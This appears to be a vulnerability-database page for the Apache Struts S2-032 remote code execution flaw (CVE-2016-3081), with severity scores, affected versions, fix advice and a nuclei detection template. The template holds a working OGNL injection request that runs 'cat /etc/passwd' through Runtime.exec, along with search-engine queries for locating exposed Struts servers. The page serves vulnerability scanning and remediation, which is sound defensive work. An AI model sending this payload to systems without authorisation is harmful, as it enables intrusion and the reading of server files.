Apache S2-032 Struts - Remote Code Execution

Exploited in the wild. Listed by CISA on 2026-10-08; known to be used by ransomware.

highseverity

8.1CVSS score

96.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).

Impact

Remote code execution

Fix

Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.

How to confirm it

Send: GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.…
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2016-3081 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-3081

info:
  name: Apache S2-032 Struts - Remote Code Execution
  author: dhiyaneshDK
  severity: high
  description: |
    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).
  impact: |
    Remote code execution
  remediation: |
    Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-032
    - https://struts.apache.org/docs/s2-032.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-3081
    - http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665
    - http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-3081
    cwe-id: CWE-77
    epss-score: 0.96916
    epss-percentile: 0.99888
    cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2016,cve,struts,rce,apache,vuln,vkev,kev

http:
  - raw:
      - |
        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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